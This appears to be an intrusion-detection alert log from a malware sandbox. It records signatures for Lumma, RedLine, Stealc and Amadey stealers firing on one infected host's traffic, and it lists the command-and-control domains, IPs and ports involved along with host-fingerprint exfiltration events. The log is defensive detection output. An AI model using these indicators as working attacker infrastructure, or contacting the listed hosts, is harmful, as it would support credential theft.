2024-12-14T14:56:55.342339+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	57652	1.1.1.1	53	UDP
2024-12-14T14:56:55.352779+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49969	185.81.68.147	80	TCP
2024-12-14T14:56:55.352779+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49969	185.81.68.147	80	TCP
2024-12-14T14:56:55.352779+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49969	185.81.68.147	80	TCP
2024-12-14T14:56:55.574043+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	49670	1.1.1.1	53	UDP
2024-12-14T14:56:55.574043+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	49670	1.1.1.1	53	UDP
2024-12-14T14:56:55.813008+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	65186	1.1.1.1	53	UDP
2024-12-14T14:56:55.813008+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	65186	1.1.1.1	53	UDP
2024-12-14T14:56:56.208314+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	56945	1.1.1.1	53	UDP
2024-12-14T14:56:56.208314+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	56945	1.1.1.1	53	UDP
2024-12-14T14:56:56.359753+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:56.625731+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	54327	1.1.1.1	53	UDP
2024-12-14T14:56:56.625731+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	54327	1.1.1.1	53	UDP
2024-12-14T14:56:56.860453+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:56.922031+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	61474	1.1.1.1	53	UDP
2024-12-14T14:56:56.922031+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	61474	1.1.1.1	53	UDP
2024-12-14T14:56:57.154650+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	53091	1.1.1.1	53	UDP
2024-12-14T14:56:57.154650+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	53091	1.1.1.1	53	UDP
2024-12-14T14:56:57.302201+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:57.306868+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49975	185.81.68.147	80	TCP
2024-12-14T14:56:57.306868+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49975	185.81.68.147	80	TCP
2024-12-14T14:56:57.306868+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49975	185.81.68.147	80	TCP
2024-12-14T14:56:57.920071+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49978	185.81.68.147	80	TCP
2024-12-14T14:56:57.920071+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49978	185.81.68.147	80	TCP
2024-12-14T14:56:57.920071+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49978	185.81.68.147	80	TCP
2024-12-14T14:56:57.920183+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49979	185.81.68.147	80	TCP
2024-12-14T14:56:57.920183+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49979	185.81.68.147	80	TCP
2024-12-14T14:56:57.920183+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49979	185.81.68.147	80	TCP
2024-12-14T14:56:57.976727+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.5	49870	185.81.68.147	1912	TCP
2024-12-14T14:56:59.062296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49977	23.55.153.106	443	TCP
2024-12-14T14:56:59.295247+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	49984	185.81.68.147	80	TCP
2024-12-14T14:56:59.295247+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	49984	185.81.68.147	80	TCP
2024-12-14T14:56:59.295247+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	49984	185.81.68.147	80	TCP
2024-12-14T14:57:00.092898+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49977	23.55.153.106	443	TCP
2024-12-14T14:57:00.648112+0100	2058159	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click)	1	192.168.2.5	62719	1.1.1.1	53	UDP
2024-12-14T14:57:01.004838+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50007	185.81.68.147	80	TCP
2024-12-14T14:57:01.004838+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50007	185.81.68.147	80	TCP
2024-12-14T14:57:01.004838+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50007	185.81.68.147	80	TCP
2024-12-14T14:57:01.810625+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50004	185.215.113.43	80	TCP
2024-12-14T14:57:02.234825+0100	2058160	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)	1	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:02.234825+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:02.765394+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:57:03.132837+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50025	185.81.68.147	80	TCP
2024-12-14T14:57:03.132837+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50025	185.81.68.147	80	TCP
2024-12-14T14:57:03.132837+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50025	185.81.68.147	80	TCP
2024-12-14T14:57:03.215448+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:57:03.275269+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:03.275269+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:03.278852+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	63712	1.1.1.1	53	UDP
2024-12-14T14:57:03.278852+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	63712	1.1.1.1	53	UDP
2024-12-14T14:57:03.397512+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50016	185.215.113.16	80	TCP
2024-12-14T14:57:03.522465+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	50005	TCP
2024-12-14T14:57:03.843204+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:57:03.898944+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	57380	1.1.1.1	53	UDP
2024-12-14T14:57:03.898944+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	57380	1.1.1.1	53	UDP
2024-12-14T14:57:04.043974+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	53296	1.1.1.1	53	UDP
2024-12-14T14:57:04.043974+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	53296	1.1.1.1	53	UDP
2024-12-14T14:57:04.168949+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	50005	TCP
2024-12-14T14:57:04.205697+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	58777	1.1.1.1	53	UDP
2024-12-14T14:57:04.205697+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	58777	1.1.1.1	53	UDP
2024-12-14T14:57:04.525133+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	52097	1.1.1.1	53	UDP
2024-12-14T14:57:04.525133+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	52097	1.1.1.1	53	UDP
2024-12-14T14:57:04.736616+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	60863	1.1.1.1	53	UDP
2024-12-14T14:57:04.736616+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	60863	1.1.1.1	53	UDP
2024-12-14T14:57:04.880792+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	63226	1.1.1.1	53	UDP
2024-12-14T14:57:04.880792+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	63226	1.1.1.1	53	UDP
2024-12-14T14:57:05.040192+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50034	185.81.68.147	80	TCP
2024-12-14T14:57:05.040192+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50034	185.81.68.147	80	TCP
2024-12-14T14:57:05.040192+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50034	185.81.68.147	80	TCP
2024-12-14T14:57:05.095882+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	58279	1.1.1.1	53	UDP
2024-12-14T14:57:05.095882+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	58279	1.1.1.1	53	UDP
2024-12-14T14:57:05.657451+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:57:06.097723+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50005	185.215.113.206	80	TCP
2024-12-14T14:57:06.705753+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50038	185.81.68.147	80	TCP
2024-12-14T14:57:06.705753+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50038	185.81.68.147	80	TCP
2024-12-14T14:57:06.705753+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50038	185.81.68.147	80	TCP
2024-12-14T14:57:06.966423+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50036	23.55.153.106	443	TCP
2024-12-14T14:57:07.747070+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	50036	23.55.153.106	443	TCP
2024-12-14T14:57:08.109732+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.5	50033	185.81.68.148	80	TCP
2024-12-14T14:57:08.381655+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50044	185.81.68.147	80	TCP
2024-12-14T14:57:08.381655+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50044	185.81.68.147	80	TCP
2024-12-14T14:57:08.381655+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50044	185.81.68.147	80	TCP
2024-12-14T14:57:10.634538+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50032	185.81.68.147	80	TCP
2024-12-14T14:57:10.755852+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50058	185.81.68.147	80	TCP
2024-12-14T14:57:10.755852+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50058	185.81.68.147	80	TCP
2024-12-14T14:57:10.755852+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50058	185.81.68.147	80	TCP
2024-12-14T14:57:11.272863+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50057	185.81.68.147	80	TCP
2024-12-14T14:57:12.597863+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50064	185.215.113.43	80	TCP
2024-12-14T14:57:13.771267+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50088	185.81.68.147	80	TCP
2024-12-14T14:57:13.771267+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50088	185.81.68.147	80	TCP
2024-12-14T14:57:13.771267+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50088	185.81.68.147	80	TCP
2024-12-14T14:57:14.224580+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50080	31.41.244.11	80	TCP
2024-12-14T14:57:14.705614+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50057	185.81.68.147	80	TCP
2024-12-14T14:57:15.650359+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50105	185.81.68.147	80	TCP
2024-12-14T14:57:15.650359+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50105	185.81.68.147	80	TCP
2024-12-14T14:57:15.650359+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50105	185.81.68.147	80	TCP
2024-12-14T14:57:17.343878+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50122	185.81.68.147	80	TCP
2024-12-14T14:57:17.343878+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50122	185.81.68.147	80	TCP
2024-12-14T14:57:17.343878+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50122	185.81.68.147	80	TCP
2024-12-14T14:57:18.506651+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.5	50120	185.215.113.43	80	TCP
2024-12-14T14:57:18.506981+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.5	50121	185.81.68.147	80	TCP
2024-12-14T14:57:19.080577+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50129	185.81.68.147	80	TCP
2024-12-14T14:57:19.080577+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50129	185.81.68.147	80	TCP
2024-12-14T14:57:19.080577+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50129	185.81.68.147	80	TCP
2024-12-14T14:57:20.049882+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50126	31.41.244.11	80	TCP
2024-12-14T14:57:20.059352+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.5	50125	185.81.68.148	80	TCP
2024-12-14T14:57:20.059352+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.5	50125	185.81.68.148	80	TCP
2024-12-14T14:57:20.865599+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50138	185.81.68.147	80	TCP
2024-12-14T14:57:20.865599+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50138	185.81.68.147	80	TCP
2024-12-14T14:57:20.865599+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50138	185.81.68.147	80	TCP
2024-12-14T14:57:21.271685+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50133	185.81.68.147	80	TCP
2024-12-14T14:57:21.271685+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50133	185.81.68.147	80	TCP
2024-12-14T14:57:21.271685+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50133	185.81.68.147	80	TCP
2024-12-14T14:57:21.272522+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50134	185.81.68.147	80	TCP
2024-12-14T14:57:21.272522+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50134	185.81.68.147	80	TCP
2024-12-14T14:57:21.272522+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50134	185.81.68.147	80	TCP
2024-12-14T14:57:21.272561+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50135	185.81.68.147	80	TCP
2024-12-14T14:57:21.272561+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50135	185.81.68.147	80	TCP
2024-12-14T14:57:21.272561+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50135	185.81.68.147	80	TCP
2024-12-14T14:57:21.272671+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50136	185.81.68.147	80	TCP
2024-12-14T14:57:21.272671+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50136	185.81.68.147	80	TCP
2024-12-14T14:57:21.272671+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50136	185.81.68.147	80	TCP
2024-12-14T14:57:21.518510+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50142	185.81.68.147	80	TCP
2024-12-14T14:57:21.518510+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50142	185.81.68.147	80	TCP
2024-12-14T14:57:21.518510+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50142	185.81.68.147	80	TCP
2024-12-14T14:57:21.518554+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50143	185.81.68.147	80	TCP
2024-12-14T14:57:21.518554+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50143	185.81.68.147	80	TCP
2024-12-14T14:57:21.518554+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50143	185.81.68.147	80	TCP
2024-12-14T14:57:21.519618+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50144	185.81.68.147	80	TCP
2024-12-14T14:57:21.519618+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50144	185.81.68.147	80	TCP
2024-12-14T14:57:21.519618+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50144	185.81.68.147	80	TCP
2024-12-14T14:57:21.538691+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50145	185.81.68.147	80	TCP
2024-12-14T14:57:21.538691+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50145	185.81.68.147	80	TCP
2024-12-14T14:57:21.538691+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50145	185.81.68.147	80	TCP
2024-12-14T14:57:22.707704+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50149	185.81.68.147	80	TCP
2024-12-14T14:57:22.707704+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50149	185.81.68.147	80	TCP
2024-12-14T14:57:22.707704+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50149	185.81.68.147	80	TCP
2024-12-14T14:57:24.573530+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.5	50150	185.215.113.43	80	TCP
2024-12-14T14:57:24.582123+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50151	185.81.68.147	80	TCP
2024-12-14T14:57:24.582123+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50151	185.81.68.147	80	TCP
2024-12-14T14:57:24.582123+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50151	185.81.68.147	80	TCP
2024-12-14T14:57:27.223747+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.5	50155	107.189.17.186	28269	TCP
2024-12-14T14:57:27.526216+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50161	185.81.68.147	80	TCP
2024-12-14T14:57:27.526216+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50161	185.81.68.147	80	TCP
2024-12-14T14:57:27.526216+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50161	185.81.68.147	80	TCP
2024-12-14T14:57:28.019002+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50158	185.81.68.147	80	TCP
2024-12-14T14:57:28.022562+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	50157	185.81.68.147	80	TCP
2024-12-14T14:57:29.234344+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.5	50162	185.81.68.147	80	TCP
2024-12-14T14:57:29.503269+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50169	185.81.68.147	80	TCP
2024-12-14T14:57:29.503269+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50169	185.81.68.147	80	TCP
2024-12-14T14:57:29.503269+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50169	185.81.68.147	80	TCP
2024-12-14T14:57:30.708975+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.5	50168	185.81.68.148	80	TCP
2024-12-14T14:57:30.708975+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.5	50168	185.81.68.148	80	TCP
2024-12-14T14:57:31.293911+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50175	185.81.68.147	80	TCP
2024-12-14T14:57:31.293911+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50175	185.81.68.147	80	TCP
2024-12-14T14:57:31.293911+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50175	185.81.68.147	80	TCP
2024-12-14T14:57:32.563346+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	107.189.17.186	28269	192.168.2.5	50155	TCP
2024-12-14T14:57:32.924057+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.5	50155	107.189.17.186	28269	TCP
2024-12-14T14:57:33.226305+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50181	185.81.68.147	80	TCP
2024-12-14T14:57:33.226305+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50181	185.81.68.147	80	TCP
2024-12-14T14:57:33.226305+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50181	185.81.68.147	80	TCP
2024-12-14T14:57:33.264950+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.5	50178	185.81.68.148	80	TCP
2024-12-14T14:57:33.387394+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.5	50179	185.81.68.148	80	TCP
2024-12-14T14:57:35.006761+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50184	185.81.68.147	80	TCP
2024-12-14T14:57:35.006761+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50184	185.81.68.147	80	TCP
2024-12-14T14:57:35.006761+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50184	185.81.68.147	80	TCP
2024-12-14T14:57:35.136995+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	50170	TCP
2024-12-14T14:57:36.517888+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	50185	185.215.113.43	80	TCP
2024-12-14T14:57:36.895383+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50186	185.81.68.147	80	TCP
2024-12-14T14:57:36.895383+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50186	185.81.68.147	80	TCP
2024-12-14T14:57:36.895383+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50186	185.81.68.147	80	TCP
2024-12-14T14:57:37.338931+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:38.819874+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50190	185.81.68.147	80	TCP
2024-12-14T14:57:38.819874+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50190	185.81.68.147	80	TCP
2024-12-14T14:57:38.819874+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50190	185.81.68.147	80	TCP
2024-12-14T14:57:38.836951+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	107.189.17.186	28269	192.168.2.5	50155	TCP
2024-12-14T14:57:38.836951+0100	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	107.189.17.186	28269	192.168.2.5	50155	TCP
2024-12-14T14:57:39.322947+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.5	50155	107.189.17.186	28269	TCP
2024-12-14T14:57:39.626950+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:40.684909+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.5	50191	185.81.68.148	80	TCP
2024-12-14T14:57:40.847102+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50193	185.81.68.147	80	TCP
2024-12-14T14:57:40.847102+0100	2022985	ET MALWARE Trojan Generic - POST To gate.php with no accept headers	1	192.168.2.5	50193	185.81.68.147	80	TCP
2024-12-14T14:57:40.847102+0100	2022986	ET MALWARE Generic Request to gate.php Dotted-Quad	1	192.168.2.5	50193	185.81.68.147	80	TCP
2024-12-14T14:57:41.530753+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	50183	185.215.113.206	80	TCP
2024-12-14T14:57:42.114982+0100	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.5	50155	107.189.17.186	28269	TCP
2024-12-14T14:57:42.743354+0100	2017930	ET MALWARE Trojan Generic - POST To gate.php with no referer	1	192.168.2.5	50206	185.81.68.147	80	TCP
